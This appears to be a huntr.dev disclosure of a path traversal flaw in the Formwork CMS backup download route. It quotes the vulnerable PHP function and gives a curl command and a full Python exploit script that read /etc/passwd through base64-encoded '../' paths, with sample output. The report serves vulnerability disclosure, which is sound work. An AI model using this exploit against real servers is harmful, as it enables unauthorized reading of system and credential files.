Lucene search

K
huntrXanhacks0138D5B8-6C69-4019-AE3D-BC886CCEFEEB
HistoryOct 25, 2022 - 6:20 p.m.

Path Traversal - Download remote files by exploiting the backup functionality (Authenticated)

2022-10-2518:20:17
xanhacks
www.huntr.dev
14
backup system
path traversal
remote file system
exploitation
authenticated

Description

The vulnerability found in the backup system allows an Administrator of the CMS to download any files on the remote file system (not only backup files) by exploiting a “Path Traversal”.

The vulnerability does not require any user interaction and is very simple to exploit.

Proof of Concept

The “Path Traversal” vulnerability is located inside the download function of the Backup class. The function is mapped to the route POST /admin/backup/download/{backup}/.

Here is the vulnerable function :

    public function download(RouteParams $params): void
    {
        $this->ensurePermission('backup.download');
        $file = $this->option('backup.path') . base64_decode($params->get('backup'));
        try {
            if (FileSystem::isFile($file, false)) {
                HTTPResponse::download($file);
            } else {
                throw new RuntimeException($this->label('backup.error.cannot-download.invalid-filename'));
            }
        } catch (TranslatedException $e) {
            $this->notify($this->label('backup.error.cannot-download', $e->getTranslatedMessage()), 'error');
            $this->redirectToReferer(302, '/dashboard/');
        }
    }

The backup parameter corresponds to the base64 encoded path of the file that will be downloaded. Normally, the value of the parameter corresponds to backup file like for example localhost-formwork-backup-20221025161507.zip (base64 encoded).

As you can see, the path of the file to download is concatenate with a constant value without filters. So, you can download file like /etc/password by requesting a download with value ../../../../../etc/passwd. You can exfiltrate all the files of the remote file system as long as you have the permission to read it.

You can exploit the vulnerability with a simple curl command.

$ curl 'http://localhost/admin/backup/download/Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA%3D/' -b 'formwork_session=1785e5f9e775da102b559ba468628ff0' -d 'csrf-token=28Qt6jtr1acE8tYnxPRrkCWbzjFSExaRM006WOlzjJMil/3d' --output passwd
$ cat passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1::/:/usr/bin/nologin
daemon:x:2:2::/:/usr/bin/nologin
[...]

> Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA= is equals to ../../../../../../../../etc/passwd.

I also made a Python script to exploit the vulnerability.

#!/usr/bin/env python3
import argparse
from base64 import urlsafe_b64encode

from requests import Session


HEADERS = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0"
}
ADMIN_DASHBOARD = "/admin/dashboard/"
BACKUP_DOWNLOAD = "/admin/backup/download/"


def get_csrf_token(base_url, session):
    """Get the CSRF token."""
    cookies = {"formwork_session": session}
    resp_content = sess.get(base_url + ADMIN_DASHBOARD,
        cookies=cookies, headers=HEADERS).text
    csrf = resp_content.split('<meta name="csrf-token" content="')[1]
    return csrf.split('"')[0]

def download(base_url, file_path, session):
    """Download file using Path Traversal vulnerability inside backup functionality."""
    cookies = {"formwork_session": session}
    data = {"csrf-token": get_csrf_token(base_url, session)}
    b64_file_path = urlsafe_b64encode(file_path.encode()).decode("utf-8")

    print(f"Try to download '{file_path}'...")
    print(f"Cookies : {cookies}")
    print(f"CSRF : {data}")
    print(f"Base64 file : {b64_file_path}")

    resp = sess.post(base_url + BACKUP_DOWNLOAD + b64_file_path + "/",
        cookies=cookies, data=data, headers=HEADERS)
    return resp.content

def write_output(output_path, content):
    """Write content inside output file."""
    with open(output_path, "wb") as output_file:
        output_file.write(content)
    print(f"Ouput saved in '{output_path}'.")


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("base_url", help="Base URL of the formwork instance (ex: http://127.0.0.1:8080).")
    parser.add_argument("-p", help="Relative path to the file to download (ex: ../../../../../../../etc/passwd).")
    parser.add_argument("-o", help="Path of downloaded file on your machine (ex: exfil.out).")
    parser.add_argument("--session", help="Value of your formwork_session cookie")
    args = parser.parse_args()

    base_url    = args.base_url.strip("/")
    file_path   = args.p
    output_path = args.o
    cookie      = args.session

    sess = Session()
    content = download(base_url, file_path, cookie)
    write_output(output_path, content)

Here is an example of execution :

$ python3 formwork_path_traversal.py 'http://localhost' -p '../../../../../../../etc/passwd' -o passwd --session '63aa2789ea6687f702dc2f01359952c0'
Try to download '../../../../../../../etc/passwd'...
Cookies : {'formwork_session': '63aa2789ea6687f702dc2f01359952c0'}
CSRF : {'csrf-token': '2RPc00/2WuMSLXkdAyD2Ctq7oW0k1h/V9fSi3XoR1wKs2fJR'}
Base64 file : Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Ouput saved in 'passwd'.
$ cat passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1::/:/usr/bin/nologin
daemon:x:2:2::/:/usr/bin/nologin
[...]